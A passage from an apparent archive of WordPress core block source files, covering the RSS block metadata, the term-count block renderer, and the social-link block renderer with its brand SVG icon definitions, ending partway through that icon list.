list-style: none;
padding: 0;
} rss/block.json 0000644 00000002647 15237550572 0007364 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/rss",
"title": "RSS",
"category": "widgets",
"description": "Display entries from any RSS or Atom feed.",
"keywords": [ "atom", "feed" ],
"textdomain": "default",
"attributes": {
"columns": {
"type": "number",
"default": 2
},
"blockLayout": {
"type": "string",
"default": "list"
},
"feedURL": {
"type": "string",
"default": "",
"role": "content"
},
"itemsToShow": {
"type": "number",
"default": 5
},
"displayExcerpt": {
"type": "boolean",
"default": false
},
"displayAuthor": {
"type": "boolean",
"default": false
},
"displayDate": {
"type": "boolean",
"default": false
},
"excerptLength": {
"type": "number",
"default": 55
},
"openInNewTab": {
"type": "boolean",
"default": false
},
"rel": {
"type": "string"
}
},
"supports": {
"anchor": true,
"align": true,
"html": false,
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
},
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"padding": false,
"margin": false
}
},
"color": {
"background": true,
"text": true,
"gradients": true,
"link": true
}
},
"editorStyle": "wp-block-rss-editor",
"style": "wp-block-rss"
}
rss/editor.min.css 0000644 00000000260 15237550572 0010146 0 ustar 00 .wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0} term-count.php 0000644 00000003463 15237550572 0007373 0 ustar 00 <?php
/**
* Server-side rendering of the `core/term-count` block.
*
* @package WordPress
*/
/**
* Renders the `core/term-count` block on the server.
*
* @since 6.9.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the count of the current taxonomy term wrapped inside a heading tag.
*/
function render_block_core_term_count( $attributes, $content, $block ) {
// Get term from context or from the current query.
if ( isset( $block->context['termId'] ) && isset( $block->context['taxonomy'] ) ) {
$term = get_term( $block->context['termId'], $block->context['taxonomy'] );
} else {
$term = get_queried_object();
if ( ! $term instanceof WP_Term ) {
$term = null;
}
}
if ( ! $term || is_wp_error( $term ) ) {
return '';
}
$term_count = $term->count;
// Format the term count based on bracket type.
switch ( $attributes['bracketType'] ) {
case 'none':
// No formatting needed.
break;
case 'round':
$term_count = "({$term_count})";
break;
case 'square':
$term_count = "[{$term_count}]";
break;
case 'curly':
$term_count = "{{$term_count}}";
break;
case 'angle':
$term_count = "<{$term_count}>";
break;
default:
// Default to no formatting for unknown types.
break;
}
$wrapper_attributes = get_block_wrapper_attributes();
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$term_count
);
}
/**
* Registers the `core/term-count` block on the server.
*
* @since 6.9.0
*/
function register_block_core_term_count() {
register_block_type_from_metadata(
__DIR__ . '/term-count',
array(
'render_callback' => 'render_block_core_term_count',
)
);
}
add_action( 'init', 'register_block_core_term_count' );
social-link.php 0000644 00000204022 15237550572 0007475 0 ustar 00 <?php
/**
* Server-side rendering of the `core/social-link` blocks.
*
* @package WordPress
*/
/**
* Renders the `core/social-link` block on server.
*
* @since 5.4.0
*
* @param Array $attributes The block attributes.
* @param String $content InnerBlocks content of the Block.
* @param WP_Block $block Block object.
*
* @return string Rendered HTML of the referenced block.
*/
function render_block_core_social_link( $attributes, $content, $block ) {
$open_in_new_tab = $block->context['openInNewTab'] ?? false;
$text = ! empty( $attributes['label'] ) ? trim( $attributes['label'] ) : '';
$service = $attributes['service'] ?? 'Icon';
$url = $attributes['url'] ?? false;
$text = $text ? $text : block_core_social_link_get_name( $service );
$rel = $attributes['rel'] ?? '';
$show_labels = array_key_exists( 'showLabels', $block->context ) ? $block->context['showLabels'] : false;
// Don't render a link if there is no URL set.
if ( ! $url ) {
return '';
}
/**
* Prepend emails with `mailto:` if not set.
* The `is_email` returns false for emails with schema.
*/
if ( is_email( $url ) ) {
$url = 'mailto:' . antispambot( $url );
}
/**
* Prepend URL with https:// if it doesn't appear to contain a scheme
* and it's not a relative link or a fragment.
*/
if ( ! parse_url( $url, PHP_URL_SCHEME ) && ! str_starts_with( $url, '//' ) && ! str_starts_with( $url, '#' ) ) {
$url = 'https://' . $url;
}
$icon = block_core_social_link_get_icon( $service );
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => 'wp-social-link wp-social-link-' . $service . block_core_social_link_get_color_classes( $block->context ),
'style' => block_core_social_link_get_color_styles( $block->context ),
)
);
$link = '<li ' . $wrapper_attributes . '>';
$link .= '<a href="' . esc_url( $url ) . '" class="wp-block-social-link-anchor">';
$link .= $icon;
$link .= '<span class="wp-block-social-link-label' . ( $show_labels ? '' : ' screen-reader-text' ) . '">' . esc_html( $text ) . '</span>';
$link .= '</a></li>';
$processor = new WP_HTML_Tag_Processor( $link );
$processor->next_tag( 'a' );
if ( $open_in_new_tab ) {
$processor->set_attribute( 'rel', trim( $rel . ' noopener nofollow' ) );
$processor->set_attribute( 'target', '_blank' );
} elseif ( '' !== $rel ) {
$processor->set_attribute( 'rel', trim( $rel ) );
}
return $processor->get_updated_html();
}
/**
* Registers the `core/social-link` blocks.
*
* @since 5.4.0
*/
function register_block_core_social_link() {
register_block_type_from_metadata(
__DIR__ . '/social-link',
array(
'render_callback' => 'render_block_core_social_link',
)
);
}
add_action( 'init', 'register_block_core_social_link' );
/**
* Returns the SVG for social link.
*
* @since 5.4.0
*
* @param string $service The service icon.
*
* @return string SVG Element for service icon.
*/
function block_core_social_link_get_icon( $service ) {
$services = block_core_social_link_services();
if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) {
return $services[ $service ]['icon'];
}
return $services['share']['icon'];
}
/**
* Returns the brand name for social link.
*
* @since 5.4.0
*
* @param string $service The service icon.
*
* @return string Brand label.
*/
function block_core_social_link_get_name( $service ) {
$services = block_core_social_link_services();
if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) {
return $services[ $service ]['name'];
}
return $services['share']['name'];
}
/**
* Returns the SVG for social link.
*
* @since 5.4.0
*
* @param string $service The service slug to extract data from.
* @param string $field The field ('name', 'icon', etc) to extract for a service.
*
* @return array|string
*/
function block_core_social_link_services( $service = '', $field = '' ) {
$services_data = array(
'fivehundredpx' => array(
'name' => _x( '500px', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>',
),
'amazon' => array(
'name' => _x( 'Amazon', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>',
),
'bandcamp' => array(
'name' => _x( 'Bandcamp', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>',
),
'behance' => array(
'name' => _x( 'Behance', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>',
),
'bluesky' => array(
'name' => _x( 'Bluesky', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"></path></svg>',
),
'chain' => array(
'name' => _x( 'Link', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.6,7.2H14v1.5h1.6c2,0,3.7,1.7,3.7,3.7s-1.7,3.7-3.7,3.7H14v1.5h1.6c2.8,0,5.2-2.3,5.2-5.2,0-2.9-2.3-5.2-5.2-5.2zM4.7,12.4c0-2,1.7-3.7,3.7-3.7H10V7.2H8.4c-2.9,0-5.2,2.3-5.2,5.2,0,2.9,2.3,5.2,5.2,5.2H10v-1.5H8.4c-2,0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"></path></svg>',
),
'codepen' => array(
'name' => _x( 'CodePen', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>',
),
'deviantart' => array(
'name' => _x( 'DeviantArt', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>',
),
'discord' => array(
'name' => _x( 'Discord', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20.317 4.369A19.88 19.88 0 0 0 15.894 3a14.145 14.145 0 0 0-.719 1.518 19.205 19.205 0 0 0-5.351 0A14.183 14.183 0 0 0 9.104 3 19.896 19.896 0 0 0 4.682 4.369a18.921 18.921 0 0 0-3.012 12.52 19.929 19.929 0 0 0 6.081 3.097c.487-.65.922-1.339 1.3-2.061a12.445 12.445 0 0 1-1.958-.896c.165-.12.326-.246.483-.374a12.445 12.445 0 0 0 8.946 0c.157.128.318.253.483.374-.627.371-1.281.683-1.958.896.379.722.813 1.41 1.3 2.061a19.94 19.94 0 0 0 6.081-3.097 18.921 18.921 0 0 0-3.012-12.52ZM8.12 15.233c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Zm7.757 0c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Z"/></svg>',
),
'dribbble' => array(
'name' => _x( 'Dribbble', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>',
),
'dropbox' => array(
'name' => _x( 'Dropbox', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>',
),
'etsy' => array(
'name' => _x( 'Etsy', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>',
),
'facebook' => array(
'name' => _x( 'Facebook', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>',
),
'feed' => array(
'name' => _x( 'RSS Feed', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>',
),
'flickr' => array(
'name' => _x( 'Flickr', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>',
),
'foursquare' => array(
'name' => _x( 'Foursquare', 'social link block variation name' ),
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>',
),
'goodreads' => array(
'name' => _x( 'Goodreads', 'social link block variation name' ),
